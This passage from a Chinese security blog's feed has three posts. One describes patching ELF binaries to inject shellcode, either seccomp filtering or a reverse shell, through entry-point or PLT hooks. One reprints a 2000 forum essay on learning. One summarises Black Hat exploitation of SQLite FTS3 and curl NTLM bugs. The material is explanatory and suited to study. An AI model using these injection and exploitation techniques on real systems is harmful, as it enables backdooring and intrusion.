<iframe width="560" height="315" src="https://www.youtube.com/embed/5ZKaFwawXpA?si=5nhFnoFS-viRE2_c" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
<p>防，基于elfguard限制系统调用防止反弹 shell：</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/VEb7t3Irjm4?si=Qkl9IyfJvKuys_9y" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
<h2><a id="%E5%85%B3%E9%94%AE%E6%8A%80%E6%9C%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>关键技术</h2>
<p>为了实现以上目的，所需步骤和关键技术如下：</p>
<ol>
<li>在ELF文件中扩展空间用来存储shellcode</li>
<li>开发满足需求的shellcode</li>
<li>hook程序执行流跳转到shellcode执行</li>
</ol>
<h2><a id="storage%E6%A8%A1%E5%9D%97" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>storage模块</h2>
<h3><a id="expand-a-segment" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>expand a segment</h3>
<p>semgent是ELF程序在OS load起来后，实际的内存空间，由相同权限的.section组成。<br />
根据ELF文件格式可知，.text段所在的segment，它的映射地址和长度由Program Header Table中PT_LOAD为1的Program Header确定，因此将这两个值改大（p_filesz，p_memsz）即可。<br />
<img src="media/15773294908823/15773311206575.jpg" alt="" style="width:852px;" /></p>
<h3><a id="add-a-segment" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>add a segment</h3>
<p>通常expand a segment就已经足够，这里介绍一个在ELF文件中增加一个segment的办法。增加的好处就是：权限我们都可以自己控制，可以修改成(rwx)。</p>
<p>增加segment（Program Header）必然会影响到其后面的数据，为了不影响， 因此可以将Program Header Table复制到最后，再在其中增加一个segment。</p>
<ol>
<li>复制Program Header Table到文件末尾，同时修正ELF Header中的p_offset。</li>
<li>修正new Program Header Table中第一个segment（用来映射new Program Header Table）。</li>
<li>在PT_LOAD segment后增加一个segment，修改其中的各个字段，建议从当前new Program Header Table处开始映射。实际的映射地址会页对齐，屏蔽低3位。</li>
</ol>
<p>具体细节请看代码，修正前后对比如下所示：<br />
<img src="media/15773294908823/15773323922553.jpg" alt="" /></p>
<p>注：原始的Program Header Table中，第一个entry映射Program Headre Table； 第二个映射interpreter path，第三个映射PT_LOAD segment（r-xp）。在第三个之后增加新的segment只是个人习惯，你可以尝试在Program Header Table之后新加一个entry。</p>
<h3><a id="eh-frame" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>.eh_frame</h3>
<p>这是ELF二进制文件中程序用不到的一个segment，可以通过<code>readelf -l &lt;filename&gt;</code>来查看。虽然图中GNU_EH_FRAME的长度为0x64，但是实际ELF在映射时，该段之后的空间也可以使用，长度通常会大于0x64，因此可以通过debug来确认。</p>
<p><img src="media/15773294908823/15773308121119.jpg" alt="" style="width:709px;" /></p>
<h2><a id="shellcode%E6%A8%A1%E5%9D%97" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>shellcode模块</h2>
<p>对应shellcode/下的每一个文件夹，例如SECCOMP/ reverseshell/等。</p>
<p>SECCOMP是基于linux kernel提供的SECCOMP安全机制，shellcode基于prctl syscall将生成的SECCOMP bpf 规则导入到kernel中，实现限制execve syscall，多用于CTF PWN中的通防。</p>
<p>reverseshell 中的shellcode是基于pwntools中shellcraft模块快速实现的。基于socket connect dup execve等系统调用实现的反弹shell的汇编代码。同时增加了两次fork系统调用，保证了shellcode在执行时不会影响到原parent进程的逻辑。</p>
<p>注意shellcode模块需要保证：shellcode执行前后，保证函数需要用到的寄存器没有被破坏。例如seccomp shellcode中需要在调用钱后保存现场。reverseshell shellcode中由于用到了fork系统调用，因此只会破坏rax寄存器，对于函数调用参数没有影响。</p>
<h2><a id="controller%E6%A8%A1%E5%9D%97" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>controller模块</h2>
<p>controller模块就是为了修改程序的执行流，对应代码中的lib/controller.py。</p>
<h3><a id="entry-point-hook" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>ENTRY POINT HOOK</h3>
<p>ELF程序的入口点在ELF Header中指定，因此修改ENTRY POINT为shellcode，就可以在控制执行流。hook ENTRY的好处就是不用保存寄存器信息。</p>
<h3><a id="plt-hook" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>PLT HOOK</h3>
<p>PLT HOOK就是通过修改程序的PLT表来劫持程序执行流。</p>
<p>HOOK时需要将shellcode wrapper：CONDITION + shellcode + JMP_BACK_TO_PLT<br />
其中CONDITION保证shellcode只被调用一次，JMP_BACK_TO_PLT在shellcode调用完后跳转到原始的PLT执行。</p>
<p>调用时可以执行func_name hook，或者指定hook第几个函数(func_plt_number)。</p>
<p>注意，部分程序没有Lazy Binding的过程，因此不能用PLT HOOK。</p>
<h2><a id="%E5%8F%82%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>参考</h2>
<ol>
<li><a href="https://docs.pwntools.com/en/stable/shellcraft.html">https://docs.pwntools.com/en/stable/shellcraft.html</a></li>
<li><a href="https://github.com/Gallopsled/pwntools/tree/292b81af179e25e7810e068b3c06a567256afd1d/pwnlib/shellcraft/templates/amd64/linux">https://github.com/Gallopsled/pwntools/tree/292b81af179e25e7810e068b3c06a567256afd1d/pwnlib/shellcraft/templates/amd64/linux</a></li>
</ol>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[转载《你尽力了吗》 —— scz]]></title>
    <link href="https://thinkycx.me/Reprint-1.html"/>
    <updated>2019-10-05T20:43:30+08:00</updated>
    <id>https://thinkycx.me/Reprint-1.html</id>
    <content type="html">
      <![CDATA[<span id="more"></span><!-- more -->
<h2><a id="%E5%8E%9F%E6%96%87" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>原文</h2>
<p>原文：<a href="http://scz.617.cn/body/200004171952.txt">http://scz.617.cn/body/200004171952.txt</a></p>
<pre><code class="language-text">标题: 你尽力了吗

发信人: cloudsky (小四), 信区: Security
标  题: 你尽力了吗
发信站: 武汉白云黄鹤站 (Mon Apr 17 19:52:54 2000), 站内信件

很多人问如何入门如何入门，我却不知道要问的是入什么门。很少把某些好文章耐心
从头看完，我这次就深有体会。比如袁哥的sniffer原理，一直以为自己对sniffer原
理很清楚的，所以也就不曾仔细看过袁哥的这篇。后来有天晚上和袁哥讨论，如何通
过端口读写直接获取mac地址，为什么antisniff可以获得真正的mac地址，而不受更
改mac地址技术的影响，如何在linux下获得真正的mac地址。我一直对linux下的端口
读写心存疑虑，总觉得在保护模式下的端口都做了内存映象等等。结果袁哥问了我一
句，你仔细看我写的文章没有，我楞，最近因为要印刷月刊，我整理以前的很多文档，
被迫认真过滤它们，才发现袁哥的文章让我又有新认识。再后来整理到tt的几篇缓冲
区溢出的，尤其是上面的关于Solaris可装载内核模块，那就更觉得惭愧了。以前说
书非借不能读，现在是文章留在硬盘上却不读。其实本版已经很多经典文章了，也推
荐了不少经典书籍了，有几个好好看过呢。W.Richard.Stevens的UNP我算是认真看过
加了不少旁注，APUE就没有那么认真了，而卷II的一半认真看过，写过读书笔记，卷
III就没有看一页。道格拉斯的卷I、卷III是认真看过几遍，卷II就只断续看过。而
很多技术文章，如果搞到手了就懒得再看，却不知道这浪费了多少资源，忽略了多少
资源。BBS是真正能学到东西的地方吗？rain说不是的，我说也不是的。不过这里能开
阔人的视野，能得到对大方向的指引，足够了。我一直都希望大家从这里学到的不是
技术本身，而是学习方法和一种不再狂热的淡然。很多技术，明天就会过时，如果你
掌握的是学习方法，那你还有下一个机会，如果你掌握的仅仅是这个技术本身，你就
没有机会了。其实我对系统安全是真不懂，因为我一直都喜欢看程序写程序却不喜欢
也没有能力攻击谁谁的主机/站点。我所能在这里做的是，为大家提供一个方向，一种
让你的狂热归于淡然的说教。如果你连&lt;&lt;Windows NT设备驱动程序编写&gt;&gt;、&lt;&lt;win9x系
统编程&gt;&gt;都没有看过，却要写个什么隐藏自己的木马，搞笑。如果你看都不看汇编语
言，偏要问exploit code的原理，那我无法回答也不想回答你。总有人责问，要讨个
说法纭纭，说什么提问却没有回答。不回答已经是正确的处理方式了，至少没有回你
一句，看书去，对不对，至少没有扰乱版面让你生闷气。Unix的man手册你要都看完了，
想不会Unix都不行了。微软的MSDN、Platform SDK DOC你要看完了，你想把Win编程想
象得稍微困难点都找不到理由。还是那句话，一个程序员做到W.Richard.Stevens那个
份上，做到逝世后还能叫全世界的顶级hacker们专门著文怀念，但生前却不曾著文攻
击，想想看，那是一种什么样的境界，那是一份什么样的淡然。我们可以大肆讨论技
术问题，可以就技术问题进行激烈的卓有成效的讨论，却无意进行基础知识、资源信
息的版面重复。我刚在前面贴了一堆isbase的文章，开头就是主页标识，却在后面立
刻问什么主页在哪里？前面刚刚讨论过如何修改mac地址，后面马上又来一个，前后
相差不过3篇文章。选择沉默已经是很多朋友忍耐力的优异表现了。

这次sztcww问的关于socket号为什么选择4而不是3，就很有专业精神，虽然我也不清
楚，但这样的问题我就乐意代他请教tt本人，至少他认真看了文章研究过代码，而不
是盲目地发问。如此讨论问题的同时，大家都可以提高。谁都乐意参与讨论这种问题。

很多东西都是可以举一反三的。vertex的lids，被packetstorm天天追踪更新，你要是
看了THC的那三篇，觉得理解一个就理解了一堆，都是内核模块上的手脚。你不看你怎
么知道。我不想在这里陷入具体技术问题的讨论中去，你要是觉得该做点什么了，就
自己去看自己去找。没有什么人摆什么架子，也没有什么人生来就是干这个的。你自
己问自己，尽力了吗？


--
            我问飘逝的风：来迟了？
            风感慨：是的，他们已经宣战。
            我问苏醒的大地：还有希望么？
            大地揉了揉眼睛：还有，还有无数代的少年。
            我问长空中的英魂：你们相信？
            英魂带着笑意离去：相信，希望还在。

※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 203.207.226.124]

2018-12-26 13:27 scz

后补:

我在CERNET华中地区网络中心BBS的Security版做过版主，2000年在该版以抱怨的语
气吐槽当时版面上一些现象，就是这篇《你尽力了吗》。文中技术名词早己过时，但
文中精神仍然广谱适用，尤其是这句:

    很多技术，明天就会过时，如果你掌握的是学习方法，那你还有下一个机会，如
    果你掌握的仅仅是这个技术本身，你就没有机会了。

文中提到几人:

yuange(袁仁广) 当时在绿盟科技，此刻在腾讯
rain(刘春华)   此刻是杰思安全创始人
sztcww(王伟)   当时在川大，此刻在阿里，他后来更有名的ID是alert7
tt(左磊)       仍在绿盟科技，他另有一个广为人知的ID是warning3(w3)
vertex(谢华刚) 当时在中科院，此刻在湾区PaloAlto，就是你们常说的平底锅

当年还做过水木清华及华南木棉Security版的版主，那是中国网络安全的新石器时代，
也是CERNET黄金时代的尾声。再往前说，还做过水木清华Java版及白云黄鹤Heart版
版主。在CERNET及MUD年代，我用过的ID有:

scz(沈沉舟)
cloudsky(轩辕明月)
hellguard(冥河摆渡人)
bluestar(晨曦·北斗七星)

一些小八卦，纯回忆。
</code></pre>
<h2><a id="%E6%94%B6%E8%8E%B7" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>收获</h2>
<ul>
<li>而很多技术文章，如果搞到手了就懒得再看，却不知道这浪费了多少资源，忽略了多少资源。BBS是真正能学到东西的地方吗？rain说不是的，我说也不是的。不过这里能开阔人的视野，能得到对大方向的指引，足够了。</li>
<li>我一直都希望大家从这里学到的不是技术本身，而是学习方法和一种不再狂热的淡然。很多技术，明天就会过时，如果你掌握的是学习方法，那你还有下一个机会，如果你掌握的仅仅是这个技术本身，你就没有机会了。</li>
<li>W.Richard.Stevens：理查德·史蒂文斯，美国计算机科学家，是众多的畅销UNIX、TCP/IP书籍的作者。</li>
</ul>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Exploring the New World : Remote Exploitation of SQLite and Curl]]></title>
    <link href="https://thinkycx.me/2019-08-17-Blade-Team-sqlite-curl-paper-reading.html"/>
    <updated>2019-08-17T17:26:46+08:00</updated>
    <id>https://thinkycx.me/2019-08-17-Blade-Team-sqlite-curl-paper-reading.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E7%AE%80%E8%BF%B0" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>简述</h2>
<p>这是Tencent Blade Team在Black Hat USA 2019上的其中一个议题，讲述了他们发现的Sqlite FTS3中的3个漏洞，并利用其中一个结合CAST协议攻破Google Home（Chrome浏览器sandbox内RCE）。也介绍了他们在curl NTLM认证协议中发现的两个整数溢出漏洞，并在实际环境中做了演示（git、php等）。</p>
<p>客户端的漏洞触发起来没有服务端那么容易，但是利用和挖掘的思路还是值得学习的。<br />
本文做一个简单的记录，更多的细节请参考PPT和Paper，如有错误还请评论区指正。</p>
<span id="more"></span><!-- more -->
<h2><a id="magellan%EF%BC%88sqlite3-vulns" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>Magellan（Sqlite3 vulns)</h2>
<p>Malgellan是三个漏洞的集合：CVE-2018-20346 CVE-2018-20505 CVE-2018-20506，均于2018年11月修复。</p>
<p>下载地址：</p>
<ul>
<li>历史版本：<a href="https://www.sqlite.org/src/timeline?t=release">https://www.sqlite.org/src/timeline?t=release</a></li>
<li>旧版本 3.25.2：<a href="https://www.sqlite.org/src/info/fb90e7189ae6d62e">https://www.sqlite.org/src/info/fb90e7189ae6d62e</a></li>
</ul>
<h3><a id="%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>基础知识</h3>
<h4><a id="fts3" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>FTS3</h4>
<p>简而言之，FTS3在Sqlite中的vtable模块，是用来做全文搜索的。参考官方文档中的说明：</p>
<blockquote>
<p>FTS3 and FTS4 are SQLite virtual table modules that allows users to perform full-text searches on a set of documents. [... ]Users input a term, or series of terms, perhaps connected by a binary operator or grouped together into a phrase, and the full-text query system finds the set of documents that best matches those terms considering the operators and groupings the user has specified. [...]<br />
REF <a href="https://www.sqlite.org/fts3.html">https://www.sqlite.org/fts3.html</a></p>
</blockquote>
<h4><a id="shadow-tables" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>Shadow Tables</h4>
<p>在创建vtable（fts3）时，会创建2-5个table，这些table是用来存储数据为了加速搜索的。</p>
<ul>
<li>for each virtual table，2-5 tables（not virtual）are created to store underlying data</li>
<li>&quot;%_content&quot;, &quot;%_segdir&quot;, &quot;%_segments&quot;, &quot;%_stat&quot;, and &quot;%_docsize&quot; （% virtual table name）（%_stat %_docsize for FTS4)</li>
</ul>
<p>例如执行sql语句： <code>create virtual table x using fts3( a int); </code>时，发现3个table被创建。（注意这3个table不是vtable）<br />
<img src="media/15660340062075/15667270459480.jpg" alt="" style="width:720px;" /></p>
<p>看一下官方文档中对这些table的描述：<br />
<img src="media/15660340062075/15667420281432.jpg" alt="" style="width:744px;" /></p>
<p>shadow tables中存储了很多结构化的数据，重点关注一下上图中的BLOB（B-Tree这个数据结构多用于文件系统、数据库中），其中存储的数据很复杂。因此作者思考在序列化/反序列化时可能会存在问题。<br />
<img src="media/15660340062075/15667421444203.jpg" alt="" style="width:991px;" /></p>
<p>于是作者重点关注从shadow table中解析、反序列化数据的函数、操作BTREE节点的函数、调用危险API的函数：<br />
<img src="media/15660340062075/15667422284518.jpg" alt="" style="width:788px;" /></p>
<p>发现了如下三个漏洞，其中利用CVE-2018-20346来攻破Google Home。接下来看一下这个漏洞。<br />
<img src="media/15660340062075/15667422518659.jpg" alt="" style="width:845px;" /></p>
<h3><a id="cve-2018-20346" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>CVE-2018-20346</h3>
<p>Sqlite中通过INSET 语句触发merge操作时，底层回调用fts3AppendToNode函数。经过分析后发现memcpy的参数可控，分析见下文。<br />
<img src="media/15660340062075/15667437318289.jpg" alt="" style="width:895px;" /></p>
<p>fts3TruncateNode函数调用链：</p>
<pre><code class="language-plain_text">fts3TruncateNode
    nodeReaderNext
    fts3AppendToNode
        memcpy(&amp;pNode-&gt;a[pNode-&gt;n], aDoclist, nDoclist); （overflow/info leak）
</code></pre>
<p>漏洞的关键在于fts3TruncateNode函数（如下图所示）：</p>
<ol>
<li>通过nodeReaderNext可以控制reader中的数据，aDoclist、nDoclist。（其实需要修改 shadow table中的内容）</li>
<li>reader可控，fts3TruncateNode函数中的check可以bypass</li>
<li>assert在release版本中是失效的。</li>
</ol>
<p><img src="media/15660340062075/15667438326526.jpg" alt="" style="width:973px;" /></p>
<p>因此，fts3AppendToNode函数中的memcpy，参数aDocList nDoclist可控。可造成：堆溢出、OOB Read。<br />
<img src="media/15660340062075/15662893652798.jpg" alt="" style="width:1113px;" /></p>
<p>具体在利用时通过update _segdir这个表来控制memcpy的参数（这张图摘自后面里用的时候）：<br />
<img src="media/15660340062075/15667456760587.jpg" alt="" style="width:905px;" /></p>
<p>CVE-2018-20506、CVE-2018-20505 也是类似的思路。其中CVE-2018-20506网上的有利用视频（非Blade Team写的），感兴趣可以看一下。地址：<a href="https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/">https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/</a></p>
<h3><a id="%E5%A6%82%E4%BD%95%E6%94%BB%E7%A0%B4google-home%EF%BC%9F" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>如何攻破Google Home？</h3>
<p><img src="media/15660340062075/15667349682192.jpg" alt="" style="width:609px;" /></p>
<p>Google Home是Goole的智能音箱。每次启动时，根据APPID pull 不同的firmware（Google Home, Chrome Cast and so on）。Blade Team根据固件分析发现Google Home用的是Chrome OS。因此“如何攻破Google Home？”这个问题就转变成了：如何让Google Home去访问一个攻击者的URL？</p>
<h4><a id="cast-protocol" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>CAST Protocol</h4>
<p>CAST协议，用来和Google的智能设备通信的协议。在CAST协议中涉及到Sender和Receiver。Sender根据CAST协议和Receiver通信，Receiver可以获取CAST APP或者访问Google官网等等。通信过程如下：<br />
<img src="media/15660340062075/15667352240489.jpg" alt="" style="width:740px;" /></p>
<h4><a id="cast-protocol-attack-surface" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>CAST Protocol Attack Surface</h4>
<p>CAST协议默认监听在8009端口，通过CAST 协议发送CAST APPID，可以让Google Home去启动CAST APP。利用CAST协议让Google Home访问URL的过程如下：</p>
<ol>
<li>首先攻击者开发CAST APP，发布时，需要指定CAST RECIEVER URL，这个URL可以是一个恶意的URL，只要是HTTPS就行，google没有check。</li>
<li>攻击
<ol>
<li>攻击受害者的手机等设备：让受害者通过chrome/或者时移动设备访问CAST_SEND_URL，访问了之后，就会触发。</li>
<li>或直接攻击Google Home：通过构造castv2 protocol，在局域网内直接发给8009 的Google Home，可以让Google Home去访问CAST RECEIVER URL。</li>
</ol>
</li>
</ol>
<h3><a id="%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>漏洞利用</h3>
<p>CVE-2018-20346既可以info leak也可以heap overflow。</p>
<p>前面提到，通过SQL：update x_segdir 来控制这memcpy的参数：<br />
<img src="media/15660340062075/15667456760587.jpg" alt="" style="width:905px;" /></p>
<p>为了控制PC，还需要：</p>
<ul>
<li>信息泄漏bypass ASLR</li>
<li>通过堆溢出，溢出相应的指针来劫持</li>
</ul>
<h3><a id="%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A81-bypass-aslr" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>漏洞利用1: bypass ASLR</h3>
<p>这是在google chrome上针对info leak的尝试。通过修改%_segdir中root的值，之后用INSERT来触发漏洞。通过不断修改nDoclist的值，尝试info leak泄漏堆地址。<br />
如下图所示泄漏了堆地址，bypass ASLR：<br />
<img src="media/15660340062075/15667342027568.jpg" alt="" style="width:949px;" /></p>
<h3><a id="%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A82-control-pc" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>漏洞利用2: control PC</h3>
<h4><a id="simple-tokenizer" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>simple_tokenizer</h4>
<p>控制PC的过程涉及到这个结构体：simple_tokenizer。create fts3 vtable时，堆上会分配这个结构体。</p>
<p>整体的利用思路：</p>
<ol>
<li>通过堆溢出，修改simple_tokenizer（分配在堆上）中的pModule</li>
<li>pModule指向fake的struct，修改其中的callback</li>
<li>如xOpen的callback（调用callback时arg1时在堆上，也可控）</li>
</ol>
<p>注：xOpen的callback会在执行insert的操作时触发（来自paper）</p>
<p><img src="media/15660340062075/15667481896453.jpg" alt="" style="width:887px;" /><br />
（注意看代码会发现：pModule在内存中实际上是simple_tokenizer结构体中的一个成员，这张图可能会让人误解）</p>
<p>代码如下：<br />
<img src="media/15660340062075/15667378806741.jpg" alt="" style="width:736px;" /></p>
<p>这个callback如何触发呢？很简单，执行SQL语句就行。比如执行了INSERT语句时，会触发xOpen callback。</p>
<p>因此，为了调用callback控制PC，需要找堆溢出之后，free内存之前，会执行SQL语句的地方。如下图所示找到了SQL_CHOMP_SSEGDIR这个位置，通过写SQL TRIGGER，可以让触发这条语句时，先执行INSERT SQL语句，即也就会执行callback xOpen。<br />
<img src="media/15660340062075/15667468680298.jpg" alt="" style="width:846px;" /></p>
<h4><a id="%E5%A6%82%E4%BD%95%E5%A0%86%E6%BA%A2%E5%87%BAsimple-tokenizer%EF%BC%9F" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>如何堆溢出simple_tokenizer？</h4>
<p>create multiple fts3 tables再drop这个操作，目的是是为了溢出simple_tokenizer结构体，具体的细节则需要调试了。按照作者的说法，堆溢出之后可以直接覆盖simple_tokenizer结构体。</p>
<p><img src="media/15660340062075/15667499665115.jpg" alt="" style="width:934px;" /></p>
<h3><a id="%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A83-payload%E5%A6%82%E4%BD%95%E6%94%BE%E7%BD%AE%EF%BC%9F" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>漏洞利用3: payload如何放置？</h3>
<p>Blade Team通过dump内存分析：如果payload size很大，在堆喷射后，payload的地址可以结合bypass ASLR时泄漏的地址来预测。</p>
<p>如下图所示，左边是堆喷射的payload，右边是溢出了simple_tokenizer的第一个成语成员，让其指向payload。payload中修改callback为stack pivot，在堆上做ROP就可以执行shellcode了。<br />
<img src="media/15660340062075/15667506049485.jpg" alt="" style="width:928px;" /></p>
<p>最后attack的效果：<br />
<img src="media/15660340062075/15667479438584.jpg" alt="" style="width:992px;" /></p>
<h2><a id="dias%EF%BC%88-curl-ntlm%E5%8D%8F%E8%AE%AE%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>Dias （CURL NTLM协议相关漏洞）</h2>
<p>Dias：</p>
<ul>
<li>CVE-2018-16890 CVE-2019-3822。</li>
<li>影响版本：curl 7.36.0~7.63.0。</li>
<li>上报时间：2018年12月31日，修复时间2019年1月，二月发布release 7.64.0。</li>
</ul>
<p>CURL的NTLM协议中的漏洞是怎么发现的呢？由于目标是RCE、因此重点关注大的函数、协议（NTLM）是其中之一。</p>
<p>这两个漏洞都存在于curl的NTLM协议认证过程中，NTLM的认证过程，分为6步（如下图所示）。<br />
<img src="media/15660340062075/15663784154856.jpg" alt="" style="width:697px;" /></p>
<p>先简单介绍下漏洞类型和原因，具体见后文分析。</p>
<p>漏洞类型分别是：<br />
- type2 NTLM 整数溢出导致堆溢出<br />
- type3 NTLM 栈溢出<br />
漏洞原因：<br />
- unsigned int，unsigned short相加整数溢出导致bypass check，在memcpy中可以info leak（由target_info_len决定，16byte所以可以泄漏 64KB）。<br />
- 有符号数 无符号数参与判断时，发生的溢出。<br />
- 溢出后，根据不同的编译器溢出栈中的变量。<br />
- 根据这些变量，进一步导致堆溢出。</p>
<h3><a id="cve-2018-16890%EF%BC%88ntlm-type-2-message-information-leak%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>CVE-2018-16890（NTLM Type-2 Message Information Leak）</h3>
<p>在curl的ntlm_decode_type2_target函数中，红框的if分支中，target_info_offset和target_info_len都是无符号数（unsigned）。在memcpy之前，有一个if的check。check中如果offset+len &gt; SIZE，那么就会失败。但是16byte的len和32byte的offset相加，可能溢出。例如0xffff+0xffff0001 = 0x1。0xffff0001肯定也&gt;48。因此可以bypass check，后面memcpy时可以泄漏64KB数据。</p>
<p>注意，这个内存泄漏时curl的内存泄漏，即在服务器上远程获取客户端内存至多64KB的原始内存信息。</p>
<p><img src="media/15660340062075/15666638896025.jpg" alt="" style="width:620px;" /></p>
<h3><a id="cve-2019-3822%EF%BC%88-ntlm-type-3-message-stack-buffer-overflow%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>CVE-2019-3822 （NTLM Type-3 Message Stack Buffer Overflow）</h3>
<p>漏洞发生在Curl_auth_create_ntlm_type3_message函数中。memcpy之前有一处check，注意符号：</p>
<ul>
<li>size是 ssize_t类型，无符号数。</li>
<li>NTLM_BUFSIZE是 别的头文件中定义的，最大为1024。（测试了一下会当作有符号数）</li>
<li>ntresplen是无符号数。</li>
</ul>
<p>因此，在有符号和无符号数参与的运算中，有符号数会被转换成有符号数。<br />
那么如果ntresplen为1025，那么判断条件会变为：size&lt;0xffffffff，即可进入memcpy，造成栈溢出（ntlmbuf位于栈上）。</p>
<p><img src="media/15660340062075/15666641336230.jpg" alt="" style="width:601px;" /></p>
<p>补充一下 unsigned &amp; signed 参与的运算效果：<br />
<img src="media/15660340062075/15666645803779.jpg" alt="" style="width:667px;" /></p>
<p>发生栈溢出之后，在gcc编译后的代码中，可以溢出后面的变量。（注意，调试时可能需要关注与喜爱gcc变量重排）比如控制domoff，hsotlen。这两个变量后续都会被用到，导致堆溢出或者是信息泄漏。<br />
<img src="media/15660340062075/15666643785237.jpg" alt="" style="width:535px;" /><br />
domoff可控导致堆溢出，hsotlen可控导致栈溢出或信息泄漏：<br />
<img src="media/15660340062075/15666645082649.jpg" alt="" style="width:843px;" /></p>
<h3><a id="%E5%88%A9%E7%94%A8%E5%9C%BA%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>利用场景</h3>
<p>利用的本质：攻击的是使用NTLM协议的curl（客户端）。假设127.0.0.1（可当成是attacker的ip）被攻击者控制，下面的场景中客户端可能会被attack（如下图）：</p>
<ul>
<li>Curl --ntlm http: //aaa:bbb@127.0.0.1:8080</li>
<li>git clone <a href="http://aaa:bbb@127.0.0.1:8080/1.git">http://aaa:bbb@127.0.0.1:8080/1.git</a> （git支持NTLM协议，基于curl）</li>
<li>基于libcurl实现的各种软件，比如php</li>
</ul>
<p><img src="media/15660340062075/15663716654076.jpg" alt="" style="width:934px;" /></p>
<p>其实分析到这里会发现利用条件很苛刻：</p>
<ul>
<li>vulnerable curl + NTLM认证</li>
<li>且要和一个攻击者的server通信 或 流量被劫持</li>
</ul>
<p>新闻上说的“破解apache+php”是如何做到的？其实本质上就是php中调用了libcurl，因此可以上传一个没有特征的webshell，利用其来信息泄漏。这样做可以在leak memory时不会被IDS检测到。<br />
<img src="media/15660340062075/15666650049687.jpg" alt="" style="width:1123px;" /></p>
<h2><a id="%E6%80%BB%E7%BB%93%E6%94%B6%E8%8E%B7" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>总结&amp;收获</h2>
<p>sqlite3的漏洞的本质是：user可以修改shadow tables来控制memcpy的参数。要触发首先需要可以执行sql语句创建FTS3 vtable。</p>
<p>curl漏洞的本质：</p>
<ul>
<li>unsigned short和unsigned int相加导致整数溢出，导致memcpy参数可控。</li>
<li>signed 和unsigned 运算时会被转成unsigned，可能造成整数溢出bypass if的判断。</li>
</ul>
<p>client的漏洞即使被披露，现实场景中还是会存在大量未修复的版本，但是相对没有server的漏洞造成的危害大。</p>
<h2><a id="%E5%8F%82%E8%80%83%EF%BC%9A" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>参考：</h2>
<ul>
<li>Sqlite：<a href="https://blade.tencent.com/magellan/index.html">https://blade.tencent.com/magellan/index.html</a></li>
<li>Curl：<a href="https://security.tencent.com/index.php/blog/msg/129">https://security.tencent.com/index.php/blog/msg/129</a></li>
<li>Black Hat USA 2019 paper &amp; PPT also.</li>
</ul>
]]>
    </content>
  </entry>
  
</feed>
